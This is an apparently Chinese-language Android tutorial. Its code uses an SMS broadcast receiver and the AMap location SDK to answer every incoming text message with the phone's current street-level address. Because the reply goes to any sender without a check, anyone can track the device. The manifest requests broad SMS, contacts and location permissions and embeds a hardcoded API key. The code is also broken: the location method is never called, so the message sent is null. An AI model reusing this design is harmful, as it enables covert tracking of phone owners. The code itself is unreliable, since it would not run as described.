1、获取定位地址,这里使用高德定位,从官网下载定位的jar包AMap_Location_V3.50_20170731.jar包然后在build.gradle
compile files('libs/AMap_Location_V3.5.0_20170731.jar')然后在权限文件中添加需要的权限和申请的key
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.example.a550211.patentproject"> <uses-permission android:name="android.permission.WRITE_SMS" /> <uses-permission android:name="android.permission.READ_SMS" /> <uses-permission android:name="android.permission.RECEIVE_SMS" /> <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.SEND_SMS"></uses-permission> <!--用于进行网络定位--> <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"></uses-permission> <!--用于访问GPS定位--> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"></uses-permission> <!--用于获取运营商信息,用于支持提供运营商信息相关的接口--> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"></uses-permission> <!--用于访问wifi网络信息,wifi信息会用于进行网络定位--> <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"></uses-permission> <!--用于获取wifi的获取权限,wifi信息会用来进行网络定位--> <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"></uses-permission> <!--用于访问网络,网络定位需要上网--> <uses-permission android:name="android.permission.INTERNET"></uses-permission> <!--用于读取手机当前的状态--> <uses-permission android:name="android.permission.READ_PHONE_STATE"></uses-permission> <!--用于写入缓存数据到扩展存储卡--> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"></uses-permission> <!--用于申请调用A-GPS模块--> <uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"></uses-permission> <!--用于申请获取蓝牙信息进行室内定位--> <uses-permission android:name="android.permission.BLUETOOTH"></uses-permission> <uses-permission android:name="android.permission.BLUETOOTH_ADMIN"></uses-permission> <application android:allowBackup="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:supportsRtl="true" android:name=".MyApplication" android:theme="@style/AppTheme"> <activity android:name=".MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <receiver android:name=".SMSBroadcastReceiver"> <intent-filter android:priority="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver> <meta-data android:name="com.amap.api.v2.apikey" android:value="12026fe07b5e1fd21ea299e7474edd65">//开发者申请的key </meta-data> <service android:name="com.amap.api.location.APSService"></service> </application> </manifest>定位地址获取代码
private void getLocation(Context context) { mLocationClient = new AMapLocationClient(context); mLocationOption = new AMapLocationClientOption(); mLocationClient.setLocationListener((AMapLocationListener) context); mLocationOption.setLocationMode(AMapLocationClientOption.AMapLocationMode.Hight_Accuracy); mLocationOption.setInterval(2000); mLocationClient.setLocationOption(mLocationOption); mLocationClient.startLocation(); mLocationOption.setNeedAddress(true); mLocationOption.setWifiActiveScan(false); } @Override public void onLocationChanged(AMapLocation amapLocation) { if (amapLocation != null) { if (amapLocation.getErrorCode() == 0) { SimpleDateFormat formatter = new SimpleDateFormat("yyyy年MM月dd日 HH:mm:ss "); Date curDate = new Date(System.currentTimeMillis());//获取当前时间 String str = formatter.format(curDate); position = amapLocation.getCountry() + amapLocation.getProvince() + amapLocation.getCity() + amapLocation.getDistrict() + amapLocation.getStreet() + amapLocation.getStreetNum() + amapLocation.getAoiName() + " buildId=" + amapLocation.getAddress() + " floor=" + amapLocation.getFloor(); Log.e(TAG, "position=" + position + " data = " + str); } else { Log.e("AmapError", "location Error, ErrCode:" + amapLocation.getErrorCode() + ", errInfo:" + amapLocation.getErrorInfo()); } } } /** * //定位成功回调信息,设置相关消息 amapLocation.getLocationType();//获取当前定位结果来源,如网络定位结果,详见定位类型表 amapLocation.getLatitude();//获取纬度 amapLocation.getLongitude();//获取经度 amapLocation.getAccuracy();//获取精度信息 amapLocation.getAddress();//地址,如果option中设置isNeedAddress为false,则没有此结果,网络定位结果中会有地址信息,GPS定位不返回地址信息。 amapLocation.getCountry();//国家信息 amapLocation.getProvince();//省信息 amapLocation.getCity();//城市信息 amapLocation.getDistrict();//城区信息 amapLocation.getStreet();//街道信息 amapLocation.getStreetNum();//街道门牌号信息 amapLocation.getCityCode();//城市编码 amapLocation.getAdCode();//地区编码 amapLocation.getAoiName();//获取当前定位点的AOI信息 amapLocation.getBuildingId();//获取当前室内定位的建筑物Id amapLocation.getFloor();//获取当前室内定位的楼层 */2、短信发送方法
private void sendSms(String phone, String message, Context context) { SmsManager smsManager = SmsManager.getDefault(); if (message.length() <= 70) { smsManager.sendTextMessage(phone, null, message, null, null); } else { List<String> smsDivs = smsManager.divideMessage(message); for (String ss : smsDivs) { smsManager.sendTextMessage(phone, null, ss, null, null); } } }3、监听短信进来方法
if (intent.getAction().equals(ACTION)) { StringBuffer SMSAddress = new StringBuffer(); StringBuffer SMSContent = new StringBuffer(); Bundle bundle = intent.getExtras(); if (bundle != null) { Object[] pdusObjects = (Object[]) bundle.get("pdus"); SmsMessage[] messages = new SmsMessage[pdusObjects.length]; for (int i = 0; i < pdusObjects.length; i++) { messages[i] = SmsMessage .createFromPdu((byte[]) pdusObjects[i]); } for (SmsMessage message : messages) { SMSAddress.append(message.getDisplayOriginatingAddress()); SMSContent.append(message.getDisplayMessageBody()); Log.e(TAG, "发送号码:" + SMSAddress + "\n" + "短信内容:" + SMSContent + " number=" + apkDao.query().get(0)); String phone = SMSAddress.toString(); phone = phone.replace("+86", ""); sendSms(phone, position, context); } } }4、完整代码
package com.example.a550211.patentproject; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.os.Bundle; import android.telephony.SmsManager; import android.telephony.SmsMessage; import android.util.Log; import com.amap.api.location.AMapLocation; import com.amap.api.location.AMapLocationClient; import com.amap.api.location.AMapLocationClientOption; import com.amap.api.location.AMapLocationListener; import java.text.SimpleDateFormat; import java.util.Date; import java.util.List; public class SMSBroadcastReceiver extends BroadcastReceiver implements AMapLocationListener { private final String TAG = "SMSBroadcastReceiver"; private static final String ACTION = "android.provider.Telephony.SMS_RECEIVED"; //声明mLocationOption对象 public AMapLocationClientOption mLocationOption = null; private AMapLocationClient mLocationClient; private String position = null; @Override public void onReceive(Context context, Intent intent) { ApkDao apkDao = new ApkDao(context); if (intent.getAction().equals(ACTION)) { StringBuffer SMSAddress = new StringBuffer(); StringBuffer SMSContent = new StringBuffer(); Bundle bundle = intent.getExtras(); if (bundle != null) { Object[] pdusObjects = (Object[]) bundle.get("pdus"); SmsMessage[] messages = new SmsMessage[pdusObjects.length]; for (int i = 0; i < pdusObjects.length; i++) { messages[i] = SmsMessage .createFromPdu((byte[]) pdusObjects[i]); } for (SmsMessage message : messages) { SMSAddress.append(message.getDisplayOriginatingAddress()); SMSContent.append(message.getDisplayMessageBody()); Log.e(TAG, "发送号码:" + SMSAddress + "\n" + "短信内容:" + SMSContent + " number=" + apkDao.query().get(0)); String phone = SMSAddress.toString(); phone = phone.replace("+86", ""); sendSms(phone, position, context); } } } } /** * 发送短信 * @param phone * @param message * @param context */ private void sendSms(String phone, String message, Context context) { SmsManager smsManager = SmsManager.getDefault(); if (message.length() <= 70) { smsManager.sendTextMessage(phone, null, message, null, null); } else { List<String> smsDivs = smsManager.divideMessage(message); for (String ss : smsDivs) { smsManager.sendTextMessage(phone, null, ss, null, null); } } } private void getLocation(Context context) { mLocationClient = new AMapLocationClient(context); mLocationOption = new AMapLocationClientOption(); mLocationClient.setLocationListener((AMapLocationListener) context); mLocationOption.setLocationMode(AMapLocationClientOption.AMapLocationMode.Hight_Accuracy); mLocationOption.setInterval(2000); mLocationClient.setLocationOption(mLocationOption); mLocationClient.startLocation(); mLocationOption.setNeedAddress(true); mLocationOption.setWifiActiveScan(false); } @Override public void onLocationChanged(AMapLocation amapLocation) { if (amapLocation != null) { if (amapLocation.getErrorCode() == 0) { SimpleDateFormat formatter = new SimpleDateFormat("yyyy年MM月dd日 HH:mm:ss "); Date curDate = new Date(System.currentTimeMillis());//获取当前时间 String str = formatter.format(curDate); position = amapLocation.getCountry() + amapLocation.getProvince() + amapLocation.getCity() + amapLocation.getDistrict() + amapLocation.getStreet() + amapLocation.getStreetNum() + amapLocation.getAoiName() + " buildId=" + amapLocation.getAddress() + " floor=" + amapLocation.getFloor(); Log.e(TAG, "position=" + position + " data = " + str); } else { Log.e("AmapError", "location Error, ErrCode:" + amapLocation.getErrorCode() + ", errInfo:" + amapLocation.getErrorInfo()); } } } /** * //定位成功回调信息,设置相关消息 amapLocation.getLocationType();//获取当前定位结果来源,如网络定位结果,详见定位类型表 amapLocation.getLatitude();//获取纬度 amapLocation.getLongitude();//获取经度 amapLocation.getAccuracy();//获取精度信息 amapLocation.getAddress();//地址,如果option中设置isNeedAddress为false,则没有此结果,网络定位结果中会有地址信息,GPS定位不返回地址信息。 amapLocation.getCountry();//国家信息 amapLocation.getProvince();//省信息 amapLocation.getCity();//城市信息 amapLocation.getDistrict();//城区信息 amapLocation.getStreet();//街道信息 amapLocation.getStreetNum();//街道门牌号信息 amapLocation.getCityCode();//城市编码 amapLocation.getAdCode();//地区编码 amapLocation.getAoiName();//获取当前定位点的AOI信息 amapLocation.getBuildingId();//获取当前室内定位的建筑物Id amapLocation.getFloor();//获取当前室内定位的楼层 */ }这样就可以实现监听发送过来的短信并发送当前地址回去。